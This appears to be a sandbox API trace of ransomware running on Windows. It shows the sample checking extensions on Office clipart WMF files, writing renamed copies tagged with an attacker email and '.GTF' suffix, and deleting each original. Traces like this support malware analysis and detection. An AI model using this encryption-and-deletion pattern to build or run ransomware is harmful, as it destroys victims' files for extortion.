	[0168.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0168.716] lstrlenW (lpString=".zip") returned 4
	[0168.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.716] lstrlenW (lpString=".rar") returned 4
	[0168.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.716] lstrlenW (lpString=".bz2") returned 4
	[0168.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.716] lstrlenW (lpString=".7z") returned 3
	[0168.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0168.716] lstrlenW (lpString=".dbf") returned 4
	[0168.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0168.716] lstrlenW (lpString=".1cd") returned 4
	[0168.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0168.716] lstrlenW (lpString=".jpg") returned 4
	[0168.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.716] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.716] lstrlenW (lpString="J0107258.WMF") returned 12
	[0168.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0168.717] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=8552) returned 1
	[0168.717] CloseHandle (hObject=0x540) returned 1
	[0168.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 0x220
	[0168.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0168.717] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.718] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0168.718] GetLastError () returned 0x0
	[0168.718] ReadFile (in: hFile=0x540, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x2168, lpOverlapped=0x0) returned 1
	[0168.720] WriteFile (in: hFile=0x534, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x2170, lpOverlapped=0x0) returned 1
	[0168.721] ReadFile (in: hFile=0x540, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.721] WriteFile (in: hFile=0x534, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.721] SetEndOfFile (hFile=0x534) returned 1
	[0168.721] CloseHandle (hObject=0x534) returned 1
	[0168.722] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.722] SetEndOfFile (hFile=0x540) returned 1
	[0168.724] CloseHandle (hObject=0x540) returned 1
	[0168.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 1
	[0168.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0168.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0168.725] lstrlenW (lpString=".doc") returned 4
	[0168.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.725] lstrlenW (lpString=".docx") returned 5
	[0168.725] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0168.725] lstrlenW (lpString=".pdf") returned 4
	[0168.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.725] lstrlenW (lpString=".xls") returned 4
	[0168.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.725] lstrlenW (lpString=".xlsx") returned 5
	[0168.725] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0168.725] lstrlenW (lpString=".ppt") returned 4
	[0168.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0168.725] lstrlenW (lpString=".zip") returned 4
	[0168.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.725] lstrlenW (lpString=".rar") returned 4
	[0168.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.725] lstrlenW (lpString=".bz2") returned 4
	[0168.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.726] lstrlenW (lpString=".7z") returned 3
	[0168.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0168.726] lstrlenW (lpString=".dbf") returned 4
	[0168.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0168.726] lstrlenW (lpString=".1cd") returned 4
	[0168.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0168.726] lstrlenW (lpString=".jpg") returned 4
	[0168.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0168.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0168.726] lstrlenW (lpString=".doc") returned 4
	[0168.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.726] lstrlenW (lpString=".docx") returned 5
	[0168.726] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0168.726] lstrlenW (lpString=".pdf") returned 4
	[0168.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.726] lstrlenW (lpString=".xls") returned 4
	[0168.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.726] lstrlenW (lpString=".xlsx") returned 5
	[0168.726] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0168.726] lstrlenW (lpString=".ppt") returned 4
	[0168.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0168.726] lstrlenW (lpString=".zip") returned 4
	[0168.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.726] lstrlenW (lpString=".rar") returned 4
	[0168.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.726] lstrlenW (lpString=".bz2") returned 4
	[0168.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.727] lstrlenW (lpString=".7z") returned 3
	[0168.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0168.727] lstrlenW (lpString=".dbf") returned 4
	[0168.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0168.727] lstrlenW (lpString=".1cd") returned 4
	[0168.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68
	[0168.727] lstrlenW (lpString=".jpg") returned 4
	[0168.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.727] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.727] lstrlenW (lpString="J0107262.WMF") returned 12
	[0168.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0168.728] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=7996) returned 1
	[0168.728] CloseHandle (hObject=0x540) returned 1
	[0168.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 0x220
	[0168.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0168.728] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.728] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0168.729] GetLastError () returned 0x0
	[0168.729] ReadFile (in: hFile=0x540, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x1f3c, lpOverlapped=0x0) returned 1
	[0168.997] WriteFile (in: hFile=0x534, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1f40, lpOverlapped=0x0) returned 1
	[0168.998] ReadFile (in: hFile=0x540, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.998] WriteFile (in: hFile=0x534, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.998] SetEndOfFile (hFile=0x534) returned 1
	[0168.998] CloseHandle (hObject=0x534) returned 1
	[0168.999] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.999] SetEndOfFile (hFile=0x540) returned 1
	[0169.001] CloseHandle (hObject=0x540) returned 1
	[0169.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 1
	[0169.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0169.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0169.208] lstrlenW (lpString=".doc") returned 4
	[0169.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.208] lstrlenW (lpString=".docx") returned 5
	[0169.208] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.208] lstrlenW (lpString=".pdf") returned 4
	[0169.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.208] lstrlenW (lpString=".xls") returned 4
	[0169.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.208] lstrlenW (lpString=".xlsx") returned 5
	[0169.208] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.208] lstrlenW (lpString=".ppt") returned 4
	[0169.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0169.209] lstrlenW (lpString=".zip") returned 4
	[0169.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.209] lstrlenW (lpString=".rar") returned 4
	[0169.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.209] lstrlenW (lpString=".bz2") returned 4
	[0169.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.209] lstrlenW (lpString=".7z") returned 3
	[0169.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0169.209] lstrlenW (lpString=".dbf") returned 4
	[0169.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0169.209] lstrlenW (lpString=".1cd") returned 4
	[0169.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0169.209] lstrlenW (lpString=".jpg") returned 4
	[0169.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0169.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0169.209] lstrlenW (lpString=".doc") returned 4
	[0169.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.209] lstrlenW (lpString=".docx") returned 5
	[0169.209] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.209] lstrlenW (lpString=".pdf") returned 4
	[0169.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.209] lstrlenW (lpString=".xls") returned 4
	[0169.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.209] lstrlenW (lpString=".xlsx") returned 5
	[0169.209] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.209] lstrlenW (lpString=".ppt") returned 4
	[0169.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0169.210] lstrlenW (lpString=".zip") returned 4
	[0169.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.210] lstrlenW (lpString=".rar") returned 4
	[0169.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.210] lstrlenW (lpString=".bz2") returned 4
	[0169.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.210] lstrlenW (lpString=".7z") returned 3
	[0169.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0169.210] lstrlenW (lpString=".dbf") returned 4
	[0169.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0169.210] lstrlenW (lpString=".1cd") returned 4
	[0169.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68
	[0169.210] lstrlenW (lpString=".jpg") returned 4
	[0169.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.210] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0169.210] lstrlenW (lpString="J0107350.WMF") returned 12
	[0169.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0169.211] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=23672) returned 1
	[0169.211] CloseHandle (hObject=0x574) returned 1
	[0169.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 0x220
	[0169.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0169.211] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.212] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578
	[0169.212] GetLastError () returned 0x0
	[0169.213] ReadFile (in: hFile=0x574, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x5c78, lpOverlapped=0x0) returned 1
	[0169.219] WriteFile (in: hFile=0x578, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x5c80, lpOverlapped=0x0) returned 1
	[0169.220] ReadFile (in: hFile=0x574, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.220] WriteFile (in: hFile=0x578, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.220] SetEndOfFile (hFile=0x578) returned 1
	[0169.220] CloseHandle (hObject=0x578) returned 1
	[0169.220] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.220] SetEndOfFile (hFile=0x574) returned 1
	[0169.223] CloseHandle (hObject=0x574) returned 1
	[0169.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 1
	[0169.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0169.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0169.224] lstrlenW (lpString=".doc") returned 4
	[0169.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.224] lstrlenW (lpString=".docx") returned 5
	[0169.224] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.224] lstrlenW (lpString=".pdf") returned 4
	[0169.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.224] lstrlenW (lpString=".xls") returned 4
	[0169.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.224] lstrlenW (lpString=".xlsx") returned 5
	[0169.224] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.224] lstrlenW (lpString=".ppt") returned 4
	[0169.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0169.225] lstrlenW (lpString=".zip") returned 4
	[0169.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.225] lstrlenW (lpString=".rar") returned 4
	[0169.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.225] lstrlenW (lpString=".bz2") returned 4
	[0169.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.225] lstrlenW (lpString=".7z") returned 3
	[0169.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0169.225] lstrlenW (lpString=".dbf") returned 4
	[0169.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0169.225] lstrlenW (lpString=".1cd") returned 4
	[0169.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0169.225] lstrlenW (lpString=".jpg") returned 4
	[0169.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0169.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0169.225] lstrlenW (lpString=".doc") returned 4
	[0169.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.225] lstrlenW (lpString=".docx") returned 5
	[0169.225] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.225] lstrlenW (lpString=".pdf") returned 4
	[0169.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.225] lstrlenW (lpString=".xls") returned 4
	[0169.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.225] lstrlenW (lpString=".xlsx") returned 5
	[0169.225] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.225] lstrlenW (lpString=".ppt") returned 4
	[0169.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
